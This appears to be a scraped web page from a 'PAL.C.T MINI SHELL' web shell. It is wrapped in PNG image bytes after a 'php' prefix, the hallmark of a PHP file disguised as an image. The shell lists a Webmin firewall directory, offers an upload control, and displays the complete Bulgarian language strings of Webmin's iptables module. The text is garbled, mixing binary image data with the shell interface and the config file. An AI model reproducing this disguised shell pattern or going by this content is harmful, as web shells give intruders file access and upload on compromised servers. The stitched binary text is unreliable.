php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/firewall/lang/
upload
files >> //usr/libexec/webmin/firewall/lang/bg

index_title=IPtables защитна стена на Linux
index_title_v=IPv4 защитна стена
index_title_v6=IPv6 защитна стена
index_editing=Файл с правила $1
index_ecommand=Командата $1 не беше открита на вашата система. Webmin се нуждае от тази команда, за да конфигурира IPtables.
index_ekernel=Грешка при проверка на текущата конфигурация на IPtables : $1 Това може да означава, че вашето ядро не поддържа IPtables.
index_header=Конфигурация на защитна стена от $1
index_evalid=ВНИМАНИЕ: Вашата настояща конфигурация на IPtables е невалидна : $1
index_change=Показване на IPtable:
index_chain_input=Входящи пакети (INPUT) - Важи само за пакети, пристигащи в този хост
index_chain_output=Изходящи пакети (OUTPUT) - Важи само за пакети, изпращани от този хост
index_chain_forward=Препратени пакети (FORWARD) - Важи само за пакети, преминали през този хост
index_chain_prerouting=Пакети преди рутиране (PREROUTING)
index_chain_postrouting=Пакети след рутиране (POSTROUTING)
index_chain=Верига $1
index_action=Действие
index_desc=Условие
index_comm=Коментар
index_move=Местене
index_none=В тази верига няма дефинирани правила.
index_policy=Задаване на подразбиращо се действие:
index_policy_accept=Приемане
index_policy_drop=Игнориране
index_policy_queue=Userspace
index_policy_return=Изходна верига
index_jump_accept=<font color=#00aa00>Приемане</font>
index_jump_drop=<font color=#ff0000>Игнориране</font>
index_jump_reject=<font color=#ff4400>Отхвърляне</font>
index_jump_queue=<font color=#0000ff>Userspace</font>
index_jump_return=Изходна верига
index_jump_log=Логване на пакет
index_jump_masquerade=Маскарадинг
index_jump_redirect=Пренасочване
index_jump_dnat=DNAT
index_jump_snat=SNAT
index_jump_=Не прави нищо
index_jump=Преход към верига $1
index_radd=Добавяне на правило
index_cdelete=Изтриване на верига
index_crename=Преименоване на верига
index_cclear=Изчистване на всички правила
index_cdeletesel=Изтриване на избраните
index_cmovesel=Преместване на избраните
index_cadd=Добавяне на нова верига на име:
index_apply=Приложи конфигурацията
index_applydesc=Натиснете този бутон, за да направите показаната по-горе конфигурация на защитната стена активна. Валидните сега правила за защитна стена ще бъдат изчистени и заменени.
index_applydesc2=Натиснете този бутон, за да направите показаната по-горе конфигурация на защитната стена активна за всички сървъри в клъстера. Валидните сега правила за защитна стена ще бъдат изчистени и заменени.
index_unapply=Връщане към предишна конфигурация
index_unapplydesc=Натиснете този бутон, за да инициализирате описаната по-горе конфигурация от активната в момента.
index_unapply2=Запис на конфигурация
index_unapply2desc=Натиснете този бутон, за да запишете конфигурацията по-горе в постоянен файл за конфигуриране на защитната стена.
index_table_filter=Филтриране на пакети (filter)
index_table_nat=Транслиране на мрежови адреси (nat)
index_table_mangle=Промяна на пакети (mangle)
index_existing=Webmin откри $1 правила на IPtables за защитна стена, използвани в момента, които не са записани във файла с правила $2. Тези правила вероятно са зададени от скрипт, който този модул не знае как да прочете или редактира.<p>Ако искате да използвате този модул, за да управлявате вашата защитна стена, натиснете бутона по-долу, за да запишете съществуващите правила във файл с правила, и след това изключете вашия скрипт, който модифицира защитната стена.
index_saveex=Запис на правилата на защитната стена
index_atboot=Да вдига ли защитната стена при стартиране?
index_headerex=Съществуваща конфигурация на защитна стена
index_bootup=Активиране при стартиране
index_bootupdesc=Променете тази опция, за да контролиране дали защитната стена се активира при стартиране.
index_return=списък правила
index_setup=Вашата система няма настроена чрез IPtables защитна стена. Webmin може да я настрои и да я запише във файла $1, с начални стойности базирани на вашия избор за защитна стена по-долу..
index_rsetup=Конфигурацията на IPtables за защитната стена на вашата система ще бъде пре-инициализирана. Webmin ще зададае нови подразбиращи се правила, които ще бъдат записани във файла $1, с начални стойности базирани на вашия избор за защитна стена по-долу..
index_auto0=Позволяване всичкия трафик
index_auto1=Извършване на транслация на мрежови адреси на външен интерфейс:
index_auto2=Блокиране на всички входящи връзки на външен интерфейс:
index_auto3=Блокиране на всичко освен SSH и IDENT на външен интерфейс:
index_auto4=Блокиране на всичко освен SSH, IDENT, ping и високи портове на интерфейс:
index_auto5=Блокиране на всичко освен портове, използвани за виртуален хостинг, на интерфейс:
index_auto=Настройване на защитна стена
index_add=Добави
index_shorewall=Изглежда, че защитната стена на вашата система бива генерирана чрез Shorewall. Може би е по-добре вместо този модул да използвате <a href='$1'>модула Shoreline Firewall</a>.
index_firewalld=Изглежда, че защитната стена на вашата система бива генерирана чрез FirewallID. Може би е по-добре вместо този модул да използвате <a href='$1'>модула FirewallD</a>.
index_fail2ban=Изглежда, че Fail2Ban се използва, за да управлява някои правила на защитната стена. Те могат да бъдат модифицирани чрез <a href='$1'>модула Fail2Ban</a> и филтър <a href=$2>f2b-.*</a> или <a href=$2>fail2ban-.*</a>.
index_filter_chain=не се управлява от защитната стена.
index_filter_nodirect=Открити са външно управлявани правила. Активирайте <a href=$1>"Директно редактиране на правила на защитна стена"</a>, или правилата на вашата защитна стена може да пострадат.
index_reset=Пре-инициализиране на защитната стена
index_resetdesc=Натиснете този бутон, за да изчистите всички съществуващи правила на защитната стена и да зададете нови правила за основна начална конфигурация.
index_cluster=Сървъри в клъстера
index_clusterdesc=Натиснете този бутон, за да зададете допълнителни сървъри за Webmin, на които да се копира автоматично конфигурацията на защитната стена.
index_ipset=IP набор
index_ipset_title=Активни IP набори, които могат да бъдат използвани от правила на защитната стена
index_ipset_name=Име на IP набор
index_ipset_type=Тип
index_ipset_elem=# Елементи
index_ipset_maxe=# Макс
index_ipset_size=Размер
index_ipvxmode=Промяна на версията на IP протокол:
index_ipvx4=IPv4
index_ipvx6=IPv6

desc_p=протоколът е $1
desc_p!=протоколът не е $1
desc_s=изпращачът е $1
desc_s!=изпращачът не е $1
desc_d=целта е $1
desc_d!=целта не е $1
desc_i=входният интерфейс е $1
desc_i!=входният интерфейс не е $1
desc_o=изходният интерфейс е $1
desc_o!=изходният интерфейс не е $1
desc_f=пакетът е фрагмент
desc_f!=пакетът не е фрагмент
desc_sport=изпращащият порт е $1
desc_sport!=изпращащият порт не е $1
desc_dport=порта на целта е $1
desc_dport!=порта на целта не е $1
desc_sports=изпращащите портове са $1
desc_sports!=изпращащите портове не са $1
desc_dports=портовете на целта са $1
desc_dports!=портовете на целта не са $1
desc_tcp-flags=TCP флаговете $2 (от $1) са вдигнати
desc_tcp-flags!=TCP флаговете $2 (от $1) не са вдигнати
desc_tcp-option=пакетът използва TCP опция $1
desc_tcp-option!=пакетът не използва TCP опция $1
desc_icmp-type=ICMP типът е $1
desc_icmp-type!=ICMP типът не е $1
desc_icmpv6-type=ICMP типът е $1
desc_icmpv6-type!=ICMP типът не е $1
desc_mac-source=Етернет адресът е $1
desc_mac-source!=Етернет адресът не е $1
desc_limit=броят за време е под $1
desc_limit!=броят за време е над $1
desc_limit-burst=burst лимитът е под $1
desc_limit-burst!=burst лимитът е над $1
desc_ports=изпращащият и получаващият порт са $1
desc_ports!=изпращащият и получаващият порт не са $1
desc_uid-owner=изпращачът е потребител $1
desc_uid-owner!=изпращачът не е потребител $1
desc_gid-owner=изпращачът е група $1
desc_gid-owner!=изпращачът не е група $1
desc_pid-owner=process ID на изпращача е $1
desc_pid-owner!=process ID на изпращача не е $1
desc_sid-owner=сесийната група на изпращача е $1
desc_sid-owner!=сесийната група на изпращача не е $1
desc_state=състоянието на връзката е $1
desc_state!=състоянието на връзката не е $1
desc_ctstate=състоянието на връзката е $1
desc_ctstate!=състоянието на връзката не е $1
desc_tos=типът на сървис полето е $1
desc_tos!=типът на сървис полето не е $1
desc_physdev-in=входният физически интерфейс е $1
desc_physdev-in!=входният физически интерфейс не е $1
desc_physdev-out=изходният физически интерфейс е $1
desc_physdev-out!=изходният физически интерфейс не е $1
desc_conds=Ако $1
desc_and=и
desc_always=Винаги
desc_args--match-set=$2 се съдържа в IP-набора $1
desc_src=изпращач
desc_dest=цел

redhat_einstalled=Не бе открито действие при стартиране за <tt>iptables(6)</tt>, което говори, че пакетът IPtables не е инсталиран на вашата система
redhat_eoutput=При определянето на IPtables статус чрез командата $1 беше върната грешка. Това вероятно указва, че системата ви е конфигурирана да използва IPchains вместо IPtables.

gentoo_escript=Стартиращият IPtables скрипт на Gentoo не беше открит в системата ви.

eiptables=Неразпознат ред във файл, записан от iptables : $1
eip6tables=Неразпознат ред във файл, записан от ip6tables : $1

edit_title1=Добавяне на правило
edit_title2=Редактиране на правило
edit_title3=Копиране на правило
edit_header1=Верига и подробности за действие
edit_chain=Част от верига
edit_cmt=Коментар на правило
edit_jump=Действие за предприемане
edit_jump_other=Стартиране на верига
edit_header2=Подробности за условие
edit_desc=Избраното по-горе действие ще бъде извършено само ако <b>всички</b> от условията по-долу са изпълнени.
edit_source=Изходящ адрес или мрежа
edit_ignore=Игнориран
edit_is=Равни
edit_not=Не е равно
edit_dest=Получаващ адрес или мрежа
edit_in=Входящ интерфейс
edit_out=Изходящ интерфейс
edit_frag=Фрагментиране
edit_fragis=Е фрагментиран
edit_fragnot=Не е фрагментиран
edit_proto=Мрежов протокол
edit_sport=Изходящ TCP или UDP порт
edit_dport=Целеви TCP или UDP порт
edit_port0=Порт(ове)
edit_port1=Обхват на портове от $1 до $2
edit_ports=Изпращащ и получаващ порт(ове)
edit_tcpflags=Зададени TCP флагове
edit_flags=$ от <br> $1
edit_tcpoption=Зададен TCP номер на опция
edit_icmptype=Тип ICMP пакет
edit_mac=Етернет адрес
edit_limit=Честота на пакети
edit_below=Под
edit_above=Над
edit_limitburst=Върхова честота на пакети
edit_uidowner=Изпращащ Unix потребител
edit_gidowner=Изпращаща Unix група
edit_pidowner=Изпращащ process ID
edit_sidowner=Изпращаща група процеси
edit_state=Състояния на връзка
edit_state_new=Нова връзка
edit_state_established=Съществуваща връзка
edit_state_related=Свързана към съществуваща
edit_state_invalid=Не е част от връзка
edit_state_untracked=Не се проследява
edit_state_snat=Изпращачът е NAT-нат
edit_state_dnat=Получателят е NAT-нат
edit_tos=Тип услуга
edit_rtoports=Целеви портове за пренасочване
edit_prange=Обхват на портове от $1 до $2
edit_mtoports=Изходни портове за маскарадинг
edit_dnat=IP-та и портове за DNAT
edit_dnatip=IP обхват от $1 до $2
edit_snat=IP-та и портове за SNAT
edit_any=Което и да е
edit_oifc=Други..
edit_clone=Дублиране на правило
edit_before=Преди правило $1
edit_after=След правило $1
edit_args=Допълнителни параметри
edit_mods=Допълнителни модули на IPtables
edit_rwith=Отхвърляне с ICMP тип
edit_rwithtype=Тип $1
edit_physdevin=Входящ физически интерфейс
edit_physdevout=Изходящ физически интерфейс
edit_physdevisin=Пакет, идващ през мостови интерфейс
edit_physdevisout=Пакет, излизащ през мостови интерфейс
edit_physdevisbridged=Пакетът се прехвърля през мост

save_err=Грешка при запис на правило
save_echain=Липсваща или невалидна верига за изпълнение
save_esource=Липсващи или невалидни изпращащ адрес или мрежа
save_edest=Липсващи или невалидни адрес или мрежа получатели
save_ein=Липсващ или невалиден входящ интерфейс
save_eout=Липсващ или невалиден изходящ интерфейс
save_eproto=Няма избран протокол
save_esport=Липсващи или невалидни изпращащи порт(ове)
save_esportfrom=Невалидно начало на обхват за изпращащи портове
save_esportto=Невалиден край на обхват за изпращащи портове
save_esportrange=Трябва да въведете поне начало или край за обхвата за изпращащи портове
save_etcpudp=Условията за изпращащ и получаващ порт могат да се използват само ако протоколът е TCP, UDP или SCTP
save_edport=Липсващи или невалидни задавани порт(ове)
save_edportfrom=Невалидно начало на обхват за задаваните портове
save_edportto=Невалиден край на обхват за задаваните портове
save_edportrange=Трябва да въведете поне начало или край за обхвата на задаваните портове
save_eports=Липсващи или невалидни изпращащ и получаващ порт(ове)
save_etcp1=Условието за TCP флагове може да се използва само ако протоколът е TCP
save_etcpflags=Трябва да изберете поне един TCP флаг от всеки ред
save_etcpflags2=Трябва да изберете поне един TCP флаг от втория ред
save_etcp2=Условието за номер на TCP опция може да се използва само ако протоколът е TCP
save_etcpoption=Липсващ или невалиден номер на TCP опция
save_eicmp=Условието за тип на ICMP пакет може да се използва само ако протоколът е ICMP
save_emac=Липсващ или невалиден Етернет адрес
save_elimit=Липсваща или неваледна честота на пакети
save_elimitburst=Липсваща или невалидна върхова честота на пакети
save_euidowner=Липсващ или невалиден изпращащ потребител на Unix
save_egidowner=Липсваща или невалидна изпращаща Unix група
save_epidowner=Липсващ или невалиден изпращащ Process ID
save_esidowner=Липсващ или невалиден изпращащ ID на група процеси
save_ertoports=Липсващ или невалиден получаващ порт при пренасочване
save_emtoports=Липсващ или невалиден изпращащ порт за маскарадинг
save_edipfrom=Липсващ или невалиден начален IP адрес за DNAT
save_edipto=Невалиден краен IP адрес за DNAT
save_edpfrom=Невалиден начален порт за DNAT
save_edpto=Липсващ или невалиден краен порт за DNAT
save_esipfrom=Липсващ или невалиден начален IP адрес за SNAT
save_esipto=Невалиден краен IP адрес за SNAT
save_espfrom=Невалиден начален порт за SNAT
save_espto=Липсващ или невалиден краен порт за SNAT
save_estates=Няма избрани състояния на връзка
save_ecanjump=Нямате права за използване на това действие
save_ephysdevin=Липсващ или невалиден входящ физически интерфейс
save_ephysdevout=Липсващ или невалиден изходящ физически интерфейс

delete_title=Изтриване на верига
delete_rusure=Сигурни ли сте, че искате да изтриете веригата #1 ? $2 правила в нея ще бъдат изтрити.
delete_ok=Изтриване
delete_ecannot=Нямате права за изтриване на вериги

clear_title=Изчистване на верига
clear_rusure=Сигурни ли сте, че искате да изтриете всички $2 правила от верига $1 ?
clear_ecannot=Нямате права за изчистване на вериги

new_err=Грешка при създаване на верига
new_ename=Липсващо или невалидно име на верига
new_etaken=Верига с това име вече съществува
new_ecannot=Нямате права за създаване на вериги

apply_err=Грешка при прилагане на конфигурация
apply_ecannot=Нямате права за прилагане на конфигурацията
apply_remote=Грешка от $1 : $2
unapply_err=Грешка при връщане на конфигурацията към предишно състояние
unapply_ecannot=Нямате права за връщане на конфигурацията към предишно състояние
bootup_ecannot=Нямате права за включване или изключване на защитната стена при стартиране

log_create_rule=Добавено правило към верига $1 в таблица $2
log_modify_rule=Променено правило във верига $1 в таблица $2
log_delete_rule=Изтрито правило от верига $1 в таблица $2
log_move_rule=Преместено правило във верига $1 в таблица $2
log_delete_chain=Изтрита верига $1 от таблица $2
log_rename_chain=Преименована верига $1 в таблица $2
log_clear_chain=Изчистена верига $1 в таблица $2
log_create_chain=Създадена верига $1 в таблица $2
log_modify_chain=Зададено подразбиращо се действие за верига $1 в таблица $2
log_delsel_chain=Изтрити $3 правила от верига $1 в таблица $2
log_movesel_chain=Преместени $3 правила във верига $1 в таблица $2
log_apply=Приложена конфигурация
log_unapply=Конфигурация върната към предишно състояние
log_setup=Настроена защитна стена
log_convert=Конвертирана налична защитна стена
log_bootup=Включено вдигането на защитна стена при стартиране
log_bootdown=Изключено вдигането на защитна стена при стартиране
log_add_host=Добавен клъстерен сървър $1
log_add_group=Добавени клъстерни сървъри от група $1
log_delete_host=Премахнат клъстерен сървър $1
log_delete_group=Премахнати $1 клъстерни сървъри
log_openports=Отворени портове на защитната стена $1

setup_eiface=Няма въведен интерфейс за външна мрежа
setup_ecannot=Нямате права за конфигуриране на защитната стена

acl_tables=Позволена IPtables
acl_apply=Може да прилага конфигурация?
acl_unapply=Може да отменя приложена конфигурация?
acl_bootup=Може да включва защитна стена при стартиране?
acl_setup=Може да извършва начална настройка на защитната стена?
acl_cluster=Може да управлява клъстер за защитна стена?
acl_jumps=Разрешени действия
acl_jall=Всички
acl_newchain=Може да създава нови вериги?
acl_delchain=Може да изтрива или изчиства вериги?
acl_policy=Може да променя стандартната политика?

etable=Нямате правило за редактиране на тази таблица
ejump=Нямате права за редактиране на това правило
ecluster=Нямате права за управление на клъстера за защитна стена

cluster_title=Сървъри в клъстера за защитна стена
cluster_none=Още няма сървъри, добавени към клъстера на защитната стена.
cluster_host=Име на хост
cluster_desc=Описание
cluster_os=Операционна система
cluster_add=Добавяне на сървър
cluster_gadd=Добавяне на сървъри в група
cluster_need=Трябва да добавите сървъри с логин и парола в модула Webmin Servers Index, преди да можете да ги управлявате оттук.
cluster_return=Сървъри в клъстера
cluster_delete=Премахване на избраните

add_title=Добавяне на сървъри
add_msg=Добавяне на $1 ..
add_gmsg=Добавяне на сървъри в група $1 ..
add_err=Грешка при добавяне на сървър
add_gerr=Грешка при добавяне на група
add_echeck=Сървърът $1 няма модул за защитна стена на Linux
add_emissing=На сървър $1 липсва командата за защитна стена $2
add_ok=Добавено $1, с $2 активни правила на защитна стена.
add_enone=Няма избрани сървъри за добавяне!

policy_ecannot=Нямате права да променяте подразбиращото се действие за тази верига

move_title=Преместване на правила
move_count=Избрани правила
move_chain=Текуща промяна
move_dest=Целева верига
move_ok=Преместване
move_header=Опции за преместване на правило

rename_title=Преименоване на верига
rename_count=Правила във верига
rename_chain=Настоящо име
rename_name=Ново име
rename_ok=Преименоване
rename_header=Опции за преименоване на вериги
rename_adjust=Модифициране на други правила, които отпращат към тази верига?
rename_none=Няма
rename_ecannot=Нямате права за преименоване на вериги
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`